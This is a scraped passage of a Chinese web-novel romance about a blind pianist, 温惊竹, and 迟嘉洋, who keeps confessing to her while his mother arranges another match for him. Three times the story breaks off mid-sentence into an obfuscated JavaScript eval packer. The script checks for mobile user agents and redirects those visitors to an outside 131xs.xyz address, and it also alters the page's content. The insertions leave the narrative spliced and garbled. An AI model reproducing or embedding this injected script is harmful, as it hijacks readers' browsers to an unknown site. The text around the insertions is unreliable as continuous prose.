进了自己房间,迟嘉洋在床上辗转反侧,却怎么等都等不到老妈的微信消息,真怀疑她是不是忘了。可又不好去催,显得多么着急多么奇怪,只好劝自己先去洗澡,故意洗得很慢,很慢……洗完出来时果然收到了老妈传来的温惊竹的视频,他笑了,天知道躺在床上看了多少遍,然后传给叶胜斌、刘晓栋、仲晓雯…… 【牛逼。】 【这小竹子?】 【[大拇指]】 …… 孟皓琦:【?】 迟嘉洋:【这是温惊竹在南城弹琴。】 【噢……】 迟嘉洋最后悔的就是分享给迟嘉乐了。他怀疑这小子根本就没看,而是直接发语音问他:“哥哥,你什么时候回家呀?我想你了!” 他没好气地说:“不回了,后天就直接回日本了,你早点睡吧。” 品不了细糠的小玩意儿,他想。 第二天是迟家过得最特别的一个除夕了。除了铃铛提前坐飞机回海县,温惊竹、迟嘉洋与迟父迟母四人都留在南城,准备晚上一起吃一顿饭,次日迟父迟母带温惊竹回海县,迟嘉洋回日本,他学校里还有考试,这两天是请了假过来的。 晚饭所选的饭店可想而知的高档奢华,中午一起在酒店吃午饭时,迟嘉洋又使出他的鬼点子:“小竹子,要不你晚上吃饭时还穿你昨天的礼服吧?” “啊?” 与迟嘉洋见面的时间越来越少,与曾经那些回忆所隔的时间越来越长,这些年因为抖音账号的缘故,温惊竹所接触的新鲜事物越来越多,现在甚至都能够在南城演出了,可这些新鲜事物在她心中怎样都生动不起来。 她却永远能记得第一次与迟嘉洋走进面剧的场景,记得面剧里的人、物和味道,那熟悉的皮质沙发,淡雅熏香与烟味所混合在一起的浑浊的空气,记得烟城的桂花糕、海胆水饺、台湾肉肠、小笼包和奶茶……那一晚吃了什么喝了什么她仍然记得清清楚楚,记得那家livehouse,甚至她和迟嘉洋在那一晚上所说的每一句话,记得去抓小龙虾时踩过的柔软的令人不适的泥地,记得那条迂回的小溪,记得脚下桥洞里传出的回声,记得那个钓鱼的夜晚的梦,记得白色的亮闪闪的北极星与金色的鱼…… 怔忪之中,迟嘉洋的话把她拉回现实:“今晚去吃饭的饭店肯定很漂亮,我给你好好地拍些照片吧?纪念你这次在南城演出。” 温惊竹迟迟没有反应,三人都以为她是不好意思,迟夫人也支持:“是啊,惊竹,虽然迟嘉洋总胡说八道,但我觉得他这个主意不错,咱今晚吃饭也是订的包间,不用不好意思。” 既然如此,温惊竹也不好固执,点点头:“好,谢谢。” “嗐,一家人谢什么谢啊?”迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温惊竹挤出这么个字,瓮声瓮气,混在周围的嘈杂里也不知道迟嘉洋有没有听见。 迟嘉洋似乎格外兴奋,带着她买了好多吃的,可很久很久之后,再让她回想他们那天吃了什么,也没有第一次去烟城那条古风小吃街吃的记得清楚。 根本没有吃东西的位置了,哪怕在南方,冬夜风也大,两个人出来时带着一股兴奋劲和满腔热血,现在才渐渐领会到低温的威力。 迟嘉洋很搞笑地带温惊竹蹲在一个摊位的板子前,冻得有些发红的手哆哆嗦嗦地夹着塑料碗里的花甲粉。温惊竹干脆双手缩进袖子里,不吃了。迟嘉洋又说一遍:“小竹子,我明天就要回日本了,我还有试没有考完,我是请了假来的。” 温惊竹没有说话,但是在认真听。 迟嘉洋叹一口气:“你明天又不能去机场送我了。” 因为他们两的航班是冲突的。 “我真不想走。” “……” “小竹子,你是不是一直都不知道我长什么样?”他又说。 “你要不要……摸一下?” “我不想你永远都不知道我长什么样。” “除了我的爸爸妈妈,我不知道任何人长什么样。”温惊竹像是酝酿了很久才平静地开口,“我……” 迟嘉洋低头吃一口粉丝,等待着下文,但这句话至此没有了下文。 “嗯,我明白了。”他笑,“不勉强你了。” 温惊竹偏过头去,她鼻尖一直被冻得有些红,此时朝向那块遮风的板子,好像在躲风,可风还是把她那一头乌黑的长发给吹得猎猎飞扬,有几根甚至被吹进了她嘴里。 她看不见东西,眼神里没有该有的神采,很难让人从中判断出她的情绪与想法。 她清楚地记得那么多回忆,怎么会忘记那些耿耿于怀的。 第一次和迟嘉洋去斑马,她听从了那个女生的话,虔诚地触碰着迟嘉洋的面庞时,那个女生在肆无忌惮地摸着他另一边脸,她从上帝视角来回忆这一幕真是何等讽刺。 那时驻唱女歌手在倾尽一切感情地唱着:“烧得火红,蛇形缠绕心中,终于冷冻终于有始无终。” 20. 风里风 —【第三年 12月24日平安夜】— “这已经是迟大少爷今年回来的第11次了哦。” 在三楼拍摄完视频后,铃铛笑眯眯地对温惊竹说。 此时一楼隐隐传来闹哄哄的声音,这是迟嘉洋刚回来在和他爸妈说话,但因为他这一年回来得实在太频,几乎每个月一次,所以每次到家迎接他的都不再是热切的欢迎,慢慢就变成争吵。听着那传上来的声音越来越不对,铃铛走到温惊竹身边说:“迟大少爷是不是喜欢你啊?” 她终于戳破了这件大家都心照不宣的事。 温惊竹也没有太惊讶,摸着琴键,没有言语。 迟嘉洋每个月都回来待几天,最长是在今年的三月及八月,分别在海县留了整整一个月,说是学校放假了。 若他其他月份不回来,他放这两个假时回国来待着无可厚非,可加上其他几次……八月那次迟嘉洋走后温惊竹听到迟父迟母在二楼议论,不知道是有意还是无意,那声量不高不低的,刚好能让在三楼准备练琴的她听到。迟父有些愠怒:“这小子到底搞什么呢?就算在日本不学习也不能成天这么折腾吧?再说他哪儿来的钱,能这么来来回回地买机票?” “你怀疑是我给的?”听着迟夫人语气,温惊竹能脑补出她别起手来的架势,“咱家现在什么样你又不是不知道!” 家里什么样了? 温惊竹那会儿想,但也没当回事,毕竟他们每天照常住别墅,阿姨照常来,她自己更是能靠自媒体与演出赚些钱,可能是迟家在外面做生意资金一时没周转开,有些短缺了,她这么猜的。 “这小子可别是在外面碰高利贷了。”迟父没好气地提高声量,“这孩子做事越来越没数了!分不清本末主次,为所欲为,你说这性格是天生的还是我们从小给惯的?” 温惊竹手搭在琴键上,愣是没敢开始练曲,不然好像在给他们配bgm,思索着迟父抛出的疑问,她认为是后者占比更多。 “我问他了。”迟夫人冷静了些,“他倒不敢去碰高利贷那玩意儿,他是想做什么就做什么惯了,又不是真傻。他说都是他自己攒下的钱,他竟然去……打工了,说攒够一次来回的机票就回来一次。” “这……” 这下两人都意识到问题的严重性了。 ——迟嘉洋已经喜欢温惊竹喜欢到走火入魔了。 他回海县也基本是为了和温惊竹在一起,温惊竹白天隔三差五有钢琴课、晚上铃铛隔一天来给她录一段视频,其余时间她不怎么出门,迟嘉洋就哪儿都不去,闲着没事也不到面剧去找那些狐朋狗友了,而是成天待在家,除非磨着温惊竹答应他出去吃顿饭、去广场散散步、去面剧打会儿牌,他才带着她一同出门。 只是他们再也没一起去过烟城,因为温惊竹现在变成个忙人,时间腾不开,有时候又是迟夫人不同意,但他倒是去外地看过几次温惊竹的钢琴演出。 可是温惊竹并没有很感动。 因为她太了解迟嘉洋了。 她无法信任从认识起便习惯于万花丛中过的他,也无法信任这段突然开始的莫名其妙的热烈的喜欢。 现在的她或许真的很璀璨耀眼,配得上他的追求,但人生很漫长,如果没有真诚和耐心是无法长久走下去的,何况她双眼特殊。 没一会儿,迟嘉洋上来了。 “怎么样,给小竹子录完视频了没?”他笑吟吟地问铃铛,温惊竹正坐在钢琴凳上,但没在弹琴,似乎还能隐隐感受到他带来的一阵风,带着海洋彼岸的气息。 “当然了呀,我正要收拾东西走呢,但是想在这儿再听惊竹弹一会儿琴。” “今天视频里弹的什么曲子?” “《圣诞快乐,劳伦斯先生》。这不马上圣诞节了嘛。” “那你岂不是要给……” “什么?” “那你岂不是要给惊竹准备圣诞节的衣服。” 铃铛当即明白了,脆生生笑起来:“当然准备了!只是已经录完视频了,衣服都换下来了。” 她扬一扬臂弯里的袋子,示意换下的衣服就装在里面,应该正打算寄回给租衣服的店铺。 迟嘉洋重重地叹一口气:“唉——可惜我没有看到,去年就是从视频里才看到的。” “那就再期待一下这次的视频咯,迟大少爷。”铃铛挥了挥手,“我先回去剪辑了,明天按时发布。” “好的,我会按时看的。” 两人对话时温惊竹没插一句,因为这话题怎么听怎么奇怪。 铃铛翩翩然离去了,温惊竹面上还有点羞恼,迟嘉洋全不在意,下一秒半跪到她身前来仰起头和她说话:“小竹子,你要不要看看我这次回来给你带的东西?” “你每次都带那么多……” 她想劝他“别带了”,话还没出口,迟嘉洋已经兀自给她展示起来:“喏,这是一个毛绒玩具,圣诞节主题的,现在在日本可火了,早上排队买的;这是一款小夜灯,我知道你是能看到一点光的,所以可以放在你床头,带电池的,不用充电;这盒饼干可好吃了……” 温惊竹完全插不上话。 因为她看不见,迟嘉洋每次给她挑选礼物都煞费苦心,再好看的东西她不能直观感受到,所以他格外热衷于一些能摸到的毛茸茸的东西、能闻到的如香薰或香袋之类的,最多的就是吃的了,温惊竹都没好意思告诉他,她房间柜子里现在还满是他之前从日本带回来的好吃的,她都吃不完。 最终千言万语还是归结于一句——“谢谢。” “能弹会儿琴给我听吗?” “好呀。”她对这一项要求倒不反感,“你想听什么?” 迟嘉洋想了一会儿:“就《圣诞快乐,劳伦斯先生》吧。” “好。” 指尖落下,极具宿命感的琴声响起,仿佛窗外那黑漆漆的天幕都开始飘落雪花。 温惊竹眼里含有泪意,但她微低着头,迟嘉洋完全无法察觉。 谁不想和喜欢的人在一起。 可是她太了解迟嘉洋了,她没有办法和他这样的人在一起。 从他们刚认识起,他身边就没少过形形色色的暧昧的异性,她看见的地方有这么多,看不见的地方又有多少?以后也不会少。 她连自己写出来的字都不放心,怕被别人偷看去,又有什么办法守着这样一个要在一起生活几十年的人呢? 何况对于她这样残缺的人来说,她并不需要爱情,能像如今这样焕发着光彩地生活就已经弥足珍贵了。一旦接受这突如其来又来势汹汹的感情,她对不起那些在迟嘉洋喜欢她之前、她所独自熬过的漫漫长夜。 回忆是什么滋味的,她最清楚了。 是咸湿的,反反复复地浸透了她的枕头。 —【第三年 12月25日夜谈】— 凌晨的时候,温惊竹又因为迟嘉洋的这一次回来而辗转反侧,心绪难平。 “咚”、“咚”的敲门声缓慢响起,她有所迟疑,因为根据这节奏与力度来判断来者并不像迟嘉洋,她蹑手蹑脚地走到门后去,轻声问:“谁呀?” “惊竹,是我。” 是迟夫人的声音。 温惊竹心里一顿,把门打开:“阿姨?” “惊竹,阿姨可以和你说说话吗?”迟夫人语气里有点苦涩,且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588708|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不大好意思地笑着,看了看她身上的睡裙,“你是不是已经睡觉了?” “没,阿姨,我还没有睡着。” 温惊竹走出房间,迟夫人拉着她慢慢地走,扶着她在钢琴凳上坐下。 而迟夫人大概是个微倚在钢琴上的架势,温惊竹根据她说话的声音及身上的香气判断。迟夫人也没有将灯打开,这三楼一片漆黑,或许会有淡淡的月光从窗户洒入,温惊竹想象着,那样的光若是落在钢琴或她的身上应该是有些清冷的,尤其在冬天,只是她不能够看见。 其实她对这一天早有预料,从迟父迟母对迟嘉洋的愈加不满、从两人之间愈加频繁的争吵中预料到的。 迟夫人幽幽地叹了口气,温惊竹感觉她目光落在别处,好像憋在心里的话很难以启齿,可又实在不愿意浪费时间绕圈子了:“惊竹,阿姨想问问你,你有喜欢的人吗?” 因为有所预料,温惊竹并没有被这个问题吓到。 但还是因为不由的紧张而将手指放到面前的琴键上,有些用力地摩挲着那光滑的边缘,才能回答这话:“阿姨,我讲心里话,在我这一生的规划里,我并没有设想过会有个伴侣和我共同生活,因为我是个很特殊的人,我看不见,如果有伴侣的话我们或许会是相互的累赘……能有现在这样的成绩,我已经对身边的一切都十分感激了,也忙不过来,我的计划只是现在多攒点钱,等以后生活遇到麻烦时再请人照顾我,这样便是对我来说很完满的一生了。” 迟夫人似乎有点愣,温惊竹认为自己说出的就是她最期待的答案了。 或许正是她的答案太符合迟夫人想法,如此滴水不漏,迟夫人才沉默许久。 温惊竹的懂事显得她太残忍了。 要问温惊竹喜欢谁,和现在的迟嘉洋一样,根本不用想,因为她所能接触到的唯一的异性就是迟嘉洋了。迟嘉洋又几乎贯穿她这几年生活的点点滴滴,带着她到处玩,对于她这样一个世界里几乎只有钢琴的少女来讲怎么可能不心动? 但就两人不能在一起这件事,迟夫人也有自己的考量:温惊竹固然弹钢琴弹得十指生花,在互联网上小有成绩,甚至还在各地演出做嘉宾,但若真和迟嘉洋谈婚论嫁了,明面上要被人议论死的,她到底是个盲人,还没上过学。 加上迟家最近确实发生了变故。 她于是继续残忍下去:“嗯,惊竹,那阿姨也和你摆明了讲,你也看到了嘉洋这一年的表现,我也觉得你们两个不太合适,他这孩子更像是一时被冲昏了头脑……还有,唉。” “还有一件事要和你说,这件事连嘉洋都不知道。”迟夫人放低了声音,“不知道你有没有听到过我和叔叔讲话,家里最近确实出了点困难,连咱们之前住过的那套烟城的房子都卖出去了。” 温惊竹惊讶,放在琴键上的手一时失去了知觉。 “但你不要担心,没什么大问题,你看我们最近的生活不是还挺好的么?”迟夫人笑笑,温惊竹才放松了些,“就是迟嘉洋有个干爸干妈,可能从来没和你说过,但我们大人间经常在一起吃饭的。他们有个女儿,也是在国外留学,在澳大利亚,这孩子毕业了不想回来,硬被她爸妈给叫回来了,我想着她和嘉洋倒是挺合适的,也不知道这小子能不能懂点事,收收心。” 温惊竹又僵硬了。 她说不出话。 但她知道自己应该说一句“肯定会的”来继续维持两人间对话的体面。 “好了,时间不早了,睡觉吧,惊竹,我明天就和他说说。”迟夫人似乎是按了按心口,“谢谢你,惊竹,今天晚上不知怎么莫名心慌得很。” “没事的,阿姨,早点休息吧。” 21. 风里风 —【第三年 12月31日跨年夜】— 迟嘉洋非磨着温惊竹和他一起去海边放烟花。 其实圣诞节他就想带她出去吃饭了,但温惊竹不情愿,迟父迟母更是没有过洋节的习惯,让他别乱跑,四人就一起在家里吃的。 可跨年夜这天吃过晚饭,温惊竹怎么也没理由拒绝他,他现在更是直接隔着衣袖拽了她手腕就走:“小竹子,你还记得去年春节么?我们也是去海边放的烟花,这次还是上次那些人:叶盛斌、刘晓栋和林候那一对。唉,刘晓栋这货还是我叫了好久才叫出来的,怎么人胖还越来越懒了?” 温惊竹实在忍不住,被这句话给逗笑,毕竟刘晓栋也算是她很熟悉的人之一了。 林候和白钰已经结婚,是今年五月份时候的事,那个月迟嘉洋回来时还顺带去参加了他们的婚礼。 至于刘晓栋,他不给大老板当司机了,找了个厂子里坐办公室的活。他和叶盛斌的生活状态温惊竹越来越不了解,只能从迟嘉洋偶尔的只言片语中知道些,记忆还停留在前年的春天与夏天。 来到海边,尽管又是刺骨的寒风吹刮,尽管叶盛斌又在炫耀这次的“弹药”充足,但正应了那句诗:欲买桂花同载酒,终不似,少年游。什么感觉都变味了。 现实中再次出现的场景最害怕拿来和回忆作比较。 但氛围还是蛮好的。刘晓栋一声欢呼:“小竹子!”温惊竹对他笑。叶盛斌也说:“哟,这不是大明星来了么?还有洋哥,哦不,现在该叫‘洋桑’了。” 因为他在日本留学。 “滚犊子。”迟嘉洋带温惊竹上前。 海边已经有很多人在放烟花了,这可是海县固定的跨年项目,那样熟悉的声音又让温惊竹有种一切都没有改变的错觉。但放烟花的人肯定和记忆中那一批不一样了,所以还是变了的,这么一想又有了物是人非的伤怀。 她依然对放烟花没什么兴趣,迟嘉洋便也不放,陪她在沙滩上站了会儿,然后带她去旁边的一家小酒馆坐下——是今年新开的,以这海滩上的一座废弃小木屋而建,在室外搭起棚子,摆上几张小桌,棚里面挂着一串串暖黄的彩灯,每一张桌子上也摆着盏煤油灯,还挺诗意浪漫,虽然放在其他城市简直是过了时的东西,但在海县这仿佛没被人开拓过的沙滩上简直像灵魂的栖息之地。 迟嘉洋挑了张最偏的桌子,带温惊竹坐下,扫码随便点了杯热红茶及一盘炸薯条。 两样东西很快上齐,两人都沉默不语,烟花就在棚子外劈啪作响。 迟嘉洋忽然开口:“温惊竹,你真就不喜欢我吗?” 温惊竹有些茫然地“看”了他一眼,确切来说,是转向他。 她没有想过迟嘉洋的“攻势”持续了一年之久,会突然在此时此刻向她坦白。 他和迟夫人一前一后、接连不断对她展开的谈话让她有些疲于应对。但这样一思索后,她似乎明白迟嘉洋为什么会突然和自己说这个了,估计是迟夫人刚向他介绍了那位她所心仪的女生。 “你说话啊。” 不耐烦的语气似乎是在为自己撑面子,实际这样的掩饰非常拙劣,就像如果温惊竹能看见,便能一眼看到他正在玻璃杯上来回地摩擦他双手手心,她能一下子听出这句话中的不安和局促。 “难道你真的看不出来吗?我这一年做了这么多,不停地从日本回来,来找你。” 尾音有点抖。 他似乎还要说什么,但就此打住,没继续说。 幸好昨晚和迟夫人谈过话,温惊竹对于眼下的状况多少有一点心理准备,她静了一会儿,让迟嘉洋冷静了些,然后问他:“迟嘉洋,我们认识多久了?” “……两年半了。”他想了想,答。 她幽幽地叹了口气。 她在心里说:我们认识了多久,我就喜欢了你多久。 可你的喜欢,只是从今年开始的。 所以她越是在拥有抖音账号后变化巨大,越是拥有了新生活,越是和迟嘉洋关系慢慢变平等,回忆起过去的那些细节就越是觉得……耻辱。 无所谓了,这些都是她的私心而已。 她心平气和地开口,很巧妙将刚才那关于时间的问题转移到别处去:“所以已经认识两年半了,我也很了解你呀,迟嘉洋。你做什么事总是心血来潮的,我当然感受得到你现在很喜欢我,但我们不合适。对我来说,如果要和一个人在一起,肯定是认认真真地一直在一起,可我是个看不见的人,我现在一个人也能生活得很好,当然需要铃铛帮忙,需要这样的雇佣关系,总之不期待这种爱情上的关系,哪怕是短时的也不太想要。” 迟嘉洋无话可说。 或许觉得她很狡猾,因为这样“无法长久”的假设他现在无法证明,或许他也在思考:他真的能做到吗? “好吧,我知道了。”他悻悻地说,“我明白你的意思了,或许我现在真有点幼稚,只顾着我喜欢你、你喜不喜欢我这样肤浅的问题,可你并不需要这样的东西,关于你说的,我再想一想办法。” 温惊竹有些无可奈何。 —【第四年 1月1日聚餐】— 元旦这天,温惊竹不用上钢琴课,她自己在三楼练琴,这时候她觉得迟家人都不太懂钢琴挺好的,便听不出她手指间那些曲调的心不在焉。 尽管她可以凭肌肉记忆流畅地弹出很多乐章,但其中蕴含的感情和她本人现在一样,恹恹的。她还总担心迟嘉洋突然上来找她,又说些乱七八糟的话,因为昨天的话题是以他说“我再想一想办法”而告落的,那就像是被画上个逗号,而不是句号。 还好,中午一起吃午饭时风平浪静。 只是温惊竹和迟嘉洋坐在一起时难免有点尴尬。 饭桌上基本是迟嘉乐在叽里呱啦地自说自话,没有人理他。迟夫人不停给他夹菜,不知道是不是妄图堵上他嘴,又看向迟嘉洋:“对了,晚上我们要出去聚一次餐,和你干爸干妈一家,迟嘉洋,你还记得你干爸干妈吗?” 迟嘉洋一下子明白了这顿晚饭的含义,下意识看向身边的温惊竹,温惊竹能感受到这道目光,但她假装什么都不知道,平静地继续吃饭。 “温惊竹去吗?”他问。 “为什么不去呀?”迟夫人纳闷,“你要把惊竹自己丢在家里吗?” 迟嘉洋不言语了。 晚上五人一起乘车出发,到海县市中心一家很有名的饭店。但海县定位高端的饭店没法和大城市比,无非是主打些名贵的海鲜。 进了包厢,两家长辈先格外热情地互相招呼着,迟夫人说:“嘉乐你们都见腻了,来,我给你们介绍一下,这就是我常说的那位小钢琴家——温惊竹,这是嘉洋,出国后都好久没见着了吧?来,嘉洋,叫干爸干妈。” “干爸好,干妈好。” 尽管挑不出错,但还是能听出他语气中的不情愿,四位家长并不在意,迟夫人目光马上转到对面坐着的那名女生身上:“唷,盈盈,好久没见,又变样了,这是终于从国外回来了?我们嘉洋现在还在日本留学呢。” “我爸妈非逼着我回来。”对方说道,语气里不无讽刺与不满,也和迟嘉洋一样没有对长辈的尊重。 看来两个都是难搞的主。 迟夫人笑笑。 “盈盈,你叫叔叔阿姨了吗?”女生的爸爸看她。 在迟夫人客套的“不用不用”中,女生比迟嘉洋更加离谱地拖拉着腔调:“叔叔好——阿姨好——” 温惊竹却觉得她很有意思,很想笑。 她爸无奈又好笑地看回 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可温惊竹愈加明白她和迟嘉洋之间的不可能:虽然迟家现在有点困难,但亲戚朋友不少,简直就是一张以海县为中心、辐射出去的密密麻麻的关系网,和她在一起迟嘉洋会遭受各种压力与麻烦。而相比于应付这些人和事,她也更愿意过自己的生活。 到后面的饭局极其无聊,全是喝了酒的大人在说话。 温惊竹能感觉到身边迟嘉洋的低气压,她也觉得挺难熬的。终于很晚回到家,她准备洗漱睡觉了。 迟嘉洋又上来找她。 她不得不从屋里出来,在钢琴前坐下,他很兴奋地说:“温惊竹,我想到办法了!” “什么办法?” 她有些恐惧于他的答案,她希望他不要再坚持了。迟嘉洋则完全沉浸在自己的想法里:“我刚才吃饭时就一直在想,既然你说你看不见,那想办法让你看见不就行了吗?我在网上查了查,我们可以去做视网膜移植手术,虽然这个流程有点复杂,但如果我爸妈同意的话绝没有问题,因为我弟弟就是我妈当年去美国生的……” 温惊竹忍着不耐说:“不用。” “为什么?” 移植视网膜这件事她亲生父母不是没考虑过,所以她也有些了解,的确是件挺麻烦的事,于是她父母先是通过各方面打听,打算等她成年后再说,她倒也没有太大的愿望了:“我即使看不清楚东西也能生活得很好,应该把那些被捐赠出来的视网膜留给更需要的人,不是吗?” “什么?” 迟嘉洋完全懵了。 他想问:你是圣母吗? 温惊竹能想象出他现在看自己的眼神。 她这样一句话,让他接下来想劝说她的内容都被硬生生噎了回去。 他本想说:如果你恢复视力,父母或许会同意我们在一起。可他现在只觉得她不可理喻。 于是他站在那儿,像一棵树。 他想问温惊竹,难道她没有看出来,今天那顿晚饭上,他妈对那个姑娘问这问那,就差直接把“要不你和迟嘉洋在一起吧”说出口了。 他对那女孩有点印象,是在她出国之前,他们两家一起隔三岔五地吃顿饭,就像今天这样,只是他们两作为小辈在饭桌上都是默不作声的存在,彼此之间也没有交流。 那会儿她还不太会化妆,麦子色的皮肤显得有点土土的,也是一副臭脸,如今她从国外回来两人更觉得不是一路人了。被自己老妈这样硬撮合,他觉得难受极了。 可温惊竹也让他吃瘪。 他无话可说了,气急反笑:“你真是……” “算了,我确实没想到你会这么想,你早点睡吧。” 温惊竹又在钢琴前坐了一会儿。 她也无法说服迟嘉洋,使他相信,她永远都不想和他在一起。 22. 风里风 可她也确实喜欢他。 —【第四年 1月2日临别前夕】— 温惊竹又一夜没有睡着。 迟嘉洋突然说的一些话、做的一些事,总能轻而易举搅得她心里很不安宁。以前是,现在也是,这么一想真让人有些哭笑不得。 尽管已经很疲乏了,她侧躺在枕头上,眼皮很沉,总希望自己能快点入睡,可拖着拖着又觉得已经快到清晨,纠结还要不要睡觉了:睡了的话肯定会起得很晚,她不想那样;不睡的话又会煎熬着困一天。果然人无论做什么总归会付出代价,熬大夜也是。 七点钟左右,她在迷迷瞪瞪中听到楼下传来的争吵:“迟嘉洋,你都这么大了到底能不能懂点事!” 迟夫人这句话声音很大,所以她听得格外清晰,之后对话的音量恢复正常,她只能捕捉到只言片语,比如迟嘉洋说:“你看不出来人家也不愿意吗!” “那好歹也去见一见呀!都约好了!”迟夫人又一句高声的叫喊,后面听不清了。估计是一番苦口婆心的劝说,迟嘉洋丢下句什么,关上她卧室的门,“砰”一声响回荡在别墅中。 “你要是再这个德性以后就别回来了!”迟夫人又打开门发出怒吼,“成天碍人眼,学也不好好上,什么都不成器!” 应该是迟夫人让迟嘉洋单独去和那女孩见上一面,迟嘉洋明天就要回日本了。 迟夫人也从未发过这么大火。 她一向都是极其宠惯迟嘉洋的,按说这样的事情不该动怒。可是温惊竹清楚,之前迟嘉洋想做什么都无所谓,是因为迟家有让他为所欲为的资本,迟家是他坚强的后盾,可迟嘉洋不知道家里现在出了点状况,他仍旧无法无天,迟夫人便恨铁不成钢,母子之间的矛盾空前绝后。 迟嘉洋下楼后,她反而有了睡意,昏昏沉沉地闭上眼。 她近中午才起床,吃了午饭,下午又睡上一觉。在这非常时期,家里无人在意她今天为什么这么嗜睡,她则偶尔想象着迟嘉洋和那个女生在一起吃饭或闲逛的画面。 可那女生实在不是迟嘉洋喜欢的类型,两个人又都是家里的祖宗,都脾气不好,相互间说起话来或许会针锋相对,也不知道是什么情景,她这么一脑补竟有些想笑。 傍晚起来练了会儿琴、吃过晚饭,铃铛来给她录新一期视频。 中途听见楼下迟嘉洋回来的声音,又一阵闹哄哄的,他似乎很生气,和迟夫人又吵起来,温惊竹听见他气急败坏的:“行啊!那我以后再也不回来了!到时候你可千万别像我干爸干妈那样,又不让我在国外待,非逼着我回海县来!” 迟夫人也扯着嗓子:“迟嘉洋你怎么和长辈说话呢!” “咚咚咚”,一串带着气的上楼梯的声音,迟嘉洋回二楼了。 因为刚才这么一出,刚录完的视频里有了杂音,回放时又听一遍方才二人在楼下的争吵,温惊竹能感受到铃铛的无奈。 待风波平息一阵,两人才得以继续。可温惊竹弹出的曲调不再那么从容自若了,总觉得这琴声回荡在这刚吵过架的房子中格外讽刺刺耳。 最后铃铛还是决定发布之前的库存。 她虽然是外行,可听温惊竹弹琴听久了似乎也有了点见解:“总感觉这次的情感不是很饱满,就是达不到我想要的视频效果的预期,我回去也再看看。” 温惊竹赞同她的决定,其实她清楚就是自己状态不佳:“好,那就先发库存的视频吧,等下次有灵感时我们多录几条。” 铃铛走了,二楼偶尔传来“叮叮咣咣”的声音,是迟嘉洋在收拾行李,他仍在置气,所以故意发出这样的声音来抗议——他堂堂迟大少爷何曾受过这样的委屈?迟夫人也不搭理他。 温惊竹手指搭在琴上,很缓慢,很缓慢地弹着些调调,没一会儿迟嘉洋又“咚咚咚”地上楼来了,琴声戛然而止。 温惊竹朝向他,他似乎憋了很久的火,这回直接发出质问:“温惊竹,你就直接回答我,你喜欢谁?” 温惊竹也知道这个问题满是陷阱且十分可笑。 不是“你到底喜不喜欢我”,而是“你喜欢谁”。 ——她喜欢谁?她能喜欢谁?她的身边就他这么一个年龄相仿的异性,难道除了他她还能说出另外一个人的名字吗? 她只是很平淡地说:“人不是非要喜欢一个人的,我这样的人没有喜欢的人。” 迟嘉洋“呵”地一声笑了,看来并不信。 “温惊竹,我真不知道你在顾虑什么,你难道不认为喜欢一个人就应该在一起吗?管那么多其他的干什么?就像你说的,两个人在一起确实是很长时间的事,你知不知道,我妈今天非逼着我去和昨天的那个女生见面,我快恶心死了,难道你也认为我应该和一个我根本就不想搭理的人在一起吗?” 温惊竹想了想,仍然没有被他给套进去:“迟嘉洋,你还是冷静点吧,我没有非逼着你和谁在一起,你和昨天那个女生可能确实不合适,所以你现在有点暴躁,但是你和我也不合适,你以后会有喜欢又合适的人的,再说你现在也不是很着急吧?你大学都没有毕业,还是先好好读书,别老让叔叔阿姨担心了,他们都……很不容易。” 迟嘉洋当然还是不明白他爸妈有什么不容易。 毕竟从他出生以来,他爸妈在海县的生意如日中天,他是含着金汤匙长大的真少爷,他眼中的一切都顺利极了:要什么有什么,想做什么便做什么。在他眼中,他爸妈的生活也潇洒极了,譬如他们可以随便在烟城置办一套几百万装修豪华的大平层,可也不怎么去住。 而他不知道,那座大平层已经被卖掉了。 “所以我最后问你一遍,你是真不打算和我在一起了?哪怕尝试一下?以后发生的事谁清楚呢?或者,”他想了想,“是不是我妈妈和你说过什么?” “没有,不打算,我说了我没有喜欢的人。”回答得干脆利落。 他像一拳拳打在棉花上,最后长叹一口气,放弃了:“行,我还以为你和其他人不一样,哦不,确实很不一样。说白了,温惊竹你再怎么改变,打心底里还是两年半前的那个你,逆来顺受,别人怎么说你、怎么想你你也就这样了,不会改,不会反抗,光外表变了当网红了有什么用?你不还是这样的性格。” “所以随便你怎么样吧,我不会再不停地像个傻子一样回国来找你了。我可能真是一时昏了头,根本就不喜欢真正的你,你太懦弱了。” 温惊竹仍是坐在钢琴前的姿势,没有作声,但她的喉咙很紧很紧。 迟嘉洋走了。 他临行之前,她都没有再“见”过他。 —【第五年 1月25日至2月1日长夜】— “温惊竹,你会不会包饺子?” 隔着面白色小方块瓷砖砌上的墙,另一边闹哄哄的,是迟嘉洋妈妈、爷爷奶奶在用大铁锅烧饭,三口人挤在一个不大的房间中腾转挪移,切菜备菜、添柴烧火、下锅翻炒等工序倒是有条不紊,活像个生产车间,三人不断地变着位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588710|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也像一架呼呼转起来的小风车。 